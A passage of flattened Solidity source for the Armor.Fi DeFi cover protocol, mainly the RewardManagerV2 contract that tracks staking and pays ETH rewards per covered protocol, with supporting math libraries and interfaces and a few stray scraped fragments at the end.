(string memory) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint256 j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint256 j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } // File contracts/general/ArmorModule.sol pragma solidity ^0.6.0; /** * @dev Each arCore contract is a module to enable simple communication and interoperability. ArmorMaster.sol is master. **/ contract ArmorModule { IArmorMaster internal _master; using Bytes32 for bytes32; modifier onlyOwner() { require(msg.sender == Ownable(address(_master)).owner(), "only owner can call this function"); _; } modifier doKeep() { _master.keep(); _; } modifier onlyModule(bytes32 _module) { string memory message = string(abi.encodePacked("only module ", _module.toString()," can call this function")); require(msg.sender == getModule(_module), message); _; } /** * @dev Used when multiple can call. **/ modifier onlyModules(bytes32 _moduleOne, bytes32 _moduleTwo) { string memory message = string(abi.encodePacked("only module ", _moduleOne.toString()," or ", _moduleTwo.toString()," can call this function")); require(msg.sender == getModule(_moduleOne) || msg.sender == getModule(_moduleTwo), message); _; } function initializeModule(address _armorMaster) internal { require(address(_master) == address(0), "already initialized"); require(_armorMaster != address(0), "master cannot be zero address"); _master = IArmorMaster(_armorMaster); } function changeMaster(address _newMaster) external onlyOwner { _master = IArmorMaster(_newMaster); } function getModule(bytes32 _key) internal view returns(address) { return _master.getModule(_key); } } // File contracts/libraries/SafeMath.sol pragma solidity ^0.6.6; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error * * @dev Default OpenZeppelin */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File contracts/general/BalanceWrapper.sol pragma solidity ^0.6.6; contract BalanceWrapper { using SafeMath for uint256; uint256 internal _totalSupply; mapping(address => uint256) internal _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _addStake(address user, uint256 amount) internal { _totalSupply = _totalSupply.add(amount); _balances[user] = _balances[user].add(amount); } function _removeStake(address user, uint256 amount) internal { _totalSupply = _totalSupply.sub(amount); _balances[user] = _balances[user].sub(amount); } } // File contracts/libraries/Math.sol pragma solidity ^0.6.6; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File contracts/interfaces/IPlanManager.sol pragma solidity ^0.6.6; interface IPlanManager { // Mapping = protocol => cover amount struct Plan { uint64 startTime; uint64 endTime; uint128 length; } struct ProtocolPlan { uint64 protocolId; uint192 amount; } // Event to notify frontend of plan update. event PlanUpdate(address indexed user, address[] protocols, uint256[] amounts, uint256 endTime); function userCoverageLimit(address _user, address _protocol) external view returns(uint256); function markup() external view returns(uint256); function nftCoverPrice(address _protocol) external view returns(uint256); function initialize(address _armorManager) external; function changePrice(address _scAddress, uint256 _pricePerAmount) external; function updatePlan(address[] calldata _protocols, uint256[] calldata _coverAmounts) external; function checkCoverage(address _user, address _protocol, uint256 _hacktime, uint256 _amount) external view returns (uint256, bool); function coverageLeft(address _protocol) external view returns(uint256); function getCurrentPlan(address _user) external view returns(uint256 idx, uint128 start, uint128 end); function updateExpireTime(address _user, uint256 _expiry) external; function planRedeemed(address _user, uint256 _planIndex, address _protocol) external; function totalUsedCover(address _scAddress) external view returns (uint256); } // File contracts/interfaces/IRewardManagerV2.sol pragma solidity ^0.6.6; interface IRewardManagerV2 { function initialize(address _armorMaster, uint256 _rewardCycleBlocks) external; function deposit( address _user, address _protocol, uint256 _amount, uint256 _nftId ) external; function withdraw( address _user, address _protocol, uint256 _amount, uint256 _nftId ) external; function updateAllocPoint(address _protocol, uint256 _allocPoint) external; function initPool(address _protocol) external; function notifyRewardAmount() external payable; } // File contracts/core/RewardManagerV2.sol // SPDX-License-Identifier: (c) Armor.Fi DAO, 2021 pragma solidity ^0.6.6; /** * @dev RewardManagerV2 is a updated RewardManager to distribute rewards. * based on total used cover per protocols. **/ contract RewardManagerV2 is BalanceWrapper, ArmorModule, IRewardManagerV2 { /** * @dev Universal requirements: * - Calculate reward per protocol by totalUsedCover. * - onlyGov functions must only ever be able to be accessed by governance. * - Total of refBals must always equal refTotal. * - depositor should always be address(0) if contract is not locked. * - totalTokens must always equal pToken.balanceOf( address(this) ) - (refTotal + sum(feesToLiq) ). **/ event RewardPaid(address indexed user, address indexed protocol, uint256 reward, uint256 timestamp); event BalanceAdded( address indexed user, address indexed protocol, uint256 indexed nftId, uint256 amount, uint256 totalStaked, uint256 timestamp ); event BalanceWithdrawn( address indexed user, address indexed protocol, uint256 indexed nftId, uint256 amount, uint256 totalStaked, uint256 timestamp ); struct UserInfo { uint256 amount; // How much cover staked uint256 rewardDebt; // Reward debt. } struct PoolInfo { address protocol; // Address of protocol contract. uint256 totalStaked; // Total staked amount in the pool uint256 allocPoint; // Allocation of protocol - same as totalUsedCover. uint256 accEthPerShare; // Accumulated ETHs per share, times 1e12. uint256 rewardDebt; // Pool Reward debt. } // Total alloc point - sum of totalUsedCover for initialized pools uint256 public totalAllocPoint; // Accumlated ETHs per alloc, times 1e12. uint256 public accEthPerAlloc; // Last reward updated block uint256 public lastRewardBlock; // Reward per block - updates when reward notified uint256 public rewardPerBlock; // Time when all reward will be distributed - updates when reward notified uint256 public rewardCycleEnd; // Currently used reward in cycle - used to calculate remaining reward at the reward notification uint256 public usedReward; // reward cycle period uint256 public rewardCycle; // last reward amount uint256 public lastReward; // Reward info for each protocol mapping(address => PoolInfo) public poolInfo; // Reward info for user in each protocol mapping(address => mapping(address => UserInfo)) public userInfo; /** * @notice Controller immediately initializes contract with this. * @dev - Must set all included variables properly. * - Update last reward block as initialized block. * @param _armorMaster Address of ArmorMaster. * @param _rewardCycleBlocks Block amounts in one cycle. **/ function initialize(address _armorMaster, uint256 _rewardCycleBlocks) external override { initializeModule(_armorMaster); require(_rewardCycleBlocks > 0, "Invalid cycle blocks"); rewardCycle = _rewardCycleBlocks; lastRewardBlock = block.number; } /** * @notice Only BalanceManager can call this function to notify reward. * @dev - Reward must be greater than 0. * - Must update reward info before notify. * - Must contain remaining reward of previous cycle * - Update reward cycle info **/ function notifyRewardAmount() external payable override onlyModule("BALANCE") { require(msg.value > 0, "Invalid reward"); updateReward(); uint256 remainingReward = lastReward > usedReward ? lastReward.sub(usedReward) : 0; lastReward = msg.value.add(remainingReward); usedReward = 0; rewardCycleEnd = block.number.add(rewardCycle); rewardPerBlock = lastReward.div(rewardCycle); } /** * @notice Update RewardManagerV2 reward information. * @dev - Skip if already updated. * - Skip if totalAllocPoint is zero or reward not notified yet. **/ function updateReward() public { if (block.number <= lastRewardBlock || rewardCycleEnd <= lastRewardBlock) { return; } if (rewardCycleEnd == 0 || totalAllocPoint == 0) { lastRewardBlock = block.number; return; } uint256 reward = Math .min(rewardCycleEnd, block.number) .sub(lastRewardBlock) .mul(rewardPerBlock); usedReward = usedReward.add(reward); accEthPerAlloc = accEthPerAlloc.add( reward.mul(1e12).div(totalAllocPoint) ); lastRewardBlock = block.number; } /** * @notice Only Plan and Stake manager can call this function. * @dev - Must update reward info before initialize pool. * - Cannot initlize again. * - Must update pool rewardDebt and totalAllocPoint. * @param _protocol Protocol address. **/ function initPool(address _protocol) public override onlyModules("PLAN", "STAKE") { require(_protocol != address(0), "zero address!"); PoolInfo storage pool = poolInfo[_protocol]; require(pool.protocol == address(0), "already initialized"); updateReward(); pool.protocol = _protocol; pool.allocPoint = IPlanManager(_master.getModule("PLAN")) .totalUsedCover(_protocol); totalAllocPoint = totalAllocPoint.add(pool.allocPoint); pool.rewardDebt = pool.allocPoint.mul(accEthPerAlloc).div(1e12); } /** * @notice Update alloc point when totalUsedCover updates. * @dev - Only Plan Manager can call this function. * - Init pool if not initialized. * @param _protocol Protocol address. * @param _allocPoint New allocPoint. **/ function updateAllocPoint(address _protocol, uint256 _allocPoint) external override onlyModule("PLAN") { PoolInfo storage pool = poolInfo[_protocol]; if (poolInfo[_protocol].protocol == address(0)) { initPool(_protocol); } else { updatePool(_protocol); totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add( _allocPoint ); pool.allocPoint = _allocPoint; pool.rewardDebt = pool.allocPoint.mul(accEthPerAlloc).div(1e12); } } /** * @notice StakeManager call this function to deposit for user. * @dev - Must update pool info * - Must give pending reward to user. * - Emit `BalanceAdded` event. * @param _user User address. * @param _protocol Protocol address. * @param _amount Stake amount. * @param _nftId NftId. **/ function deposit( address _user, address _protocol, uint256 _amount, uint256 _nftId ) external override onlyModule("STAKE") { PoolInfo storage pool = poolInfo[_protocol]; UserInfo storage user = userInfo[_protocol][_user]; if (pool.protocol == address(0)) { initPool(_protocol); } else { updatePool(_protocol); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accEthPerShare) .div(1e12) .sub(user.rewardDebt); safeRewardTransfer(_user, _protocol, pending); } } user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accEthPerShare).div(1e12); pool.totalStaked = pool.totalStaked.add(_amount); emit BalanceAdded( _user, _protocol, _nftId, _amount, pool.totalStaked, block.timestamp ); } /** * @notice StakeManager call this function to withdraw for user. * @dev - Must update pool info * - Must give pending reward to user. * - Emit `BalanceWithdrawn` event. * @param _user User address. * @param _protocol Protocol address. * @param _amount Withdraw amount. * @param _nftId NftId. **/ function withdraw( address _user, address _protocol, uint256 _amount, uint256 _nftId ) public override onlyModule("STAKE") { PoolInfo storage pool = poolInfo[_protocol]; UserInfo storage user = userInfo[_protocol][_user]; require(user.amount >= _amount, "insufficient to withdraw"); updatePool(_protocol); uint256 pending = user.amount.mul(pool.accEthPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { safeRewardTransfer(_user, _protocol, pending); } user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accEthPerShare).div(1e12); pool.totalStaked = pool.totalStaked.sub(_amount); emit BalanceWithdrawn( _user, _protocol, _nftId, _amount, pool.totalStaked, block.timestamp ); } /** * @notice Claim pending reward. * @dev - Must update pool info * - Emit `RewardPaid` event. * @param _protocol Protocol address. **/ function claimReward(address _protocol) public { PoolInfo storage pool = poolInfo[_protocol]; UserInfo storage user = userInfo[_protocol][msg.sender]; updatePool(_protocol); uint256 pending = user.amount.mul(pool.accEthPerShare).div(1e12).sub( user.rewardDebt ); user.rewardDebt = user.amount.mul(pool.accEthPerShare).div(1e12); if (pending > 0) { safeRewardTransfer(msg.sender, _protocol, pending); } } /** * @notice Claim pending reward of several protocols. * @dev - Must update pool info of each protocol * - Emit `RewardPaid` event per protocol. * @param _protocols Array of protocol addresses. **/ function claimRewardInBatch(address[] calldata _protocols) external { for (uint256 i = 0; i < _protocols.length; i += 1) { claimReward(_protocols[i]); } } /** * @notice Update pool info. * @dev - Skip if already updated. * - Skip if totalStaked is zero. * @param _protocol Protocol address. **/ function updatePool(address _protocol) public { PoolInfo storage pool = poolInfo[_protocol]; if (block.number <= lastRewardBlock) { return; } if (pool.totalStaked == 0) { return; } updateReward(); uint256 poolReward = pool.allocPoint.mul(accEthPerAlloc).div(1e12).sub( pool.rewardDebt ); pool.accEthPerShare = pool.accEthPerShare.add( poolReward.mul(1e12).div(pool.totalStaked) ); pool.rewardDebt = pool.allocPoint.mul(accEthPerAlloc).div(1e12); } /** * @notice Check contract balance to avoid tx failure. **/ function safeRewardTransfer(address _to, address _protocol, uint256 _amount) internal { uint256 reward = Math.min(address(this).balance, _amount); payable(_to).transfer(reward); emit RewardPaid(_to, _protocol, reward, block.timestamp); } /** * @notice Get pending reward amount. * @param _user User address. * @param _protocol Protocol address. * @return pending reward amount **/ function getPendingReward(address _user, address _protocol) public view returns (uint256) { if (rewardCycleEnd == 0 || totalAllocPoint == 0) { return 0; } uint256 reward = Math .min(rewardCycleEnd, block.number) .sub(lastRewardBlock) .mul(rewardPerBlock); uint256 _accEthPerAlloc = accEthPerAlloc.add( reward.mul(1e12).div(totalAllocPoint) ); PoolInfo memory pool = poolInfo[_protocol]; if (pool.protocol == address(0) || pool.totalStaked == 0) { return 0; } uint256 poolReward = pool.allocPoint.mul(_accEthPerAlloc).div(1e12).sub( pool.rewardDebt ); uint256 _accEthPerShare = pool.accEthPerShare.add( poolReward.mul(1e12).div(pool.totalStaked) ); UserInfo memory user = userInfo[_protocol][_user]; return user.amount.mul(_accEthPerShare).div(1e12).sub(user.rewardDebt); } /** * @notice Get pending total reward amount for several protocols. * @param _user User address. * @param _protocols Array of protocol addresses. * @return pending reward amount **/ function getTotalPendingReward(address _user, address[] memory _protocols) external view returns (uint256) { uint256 reward; for (uint256 i = 0; i < _protocols.length; i += 1) { reward = reward.add(getPendingReward(_user, _protocols[i])); } return reward; } }
Used when multiple can call./
modifier onlyModules(bytes32 _moduleOne, bytes32 _moduleTwo) { string memory message = string(abi.encodePacked("only module ", _moduleOne.toString()," or ", _moduleTwo.toString()," can call this function")); require(msg.sender == getModule(_moduleOne) || msg.sender == getModule(_moduleTwo), message); _; }
24,224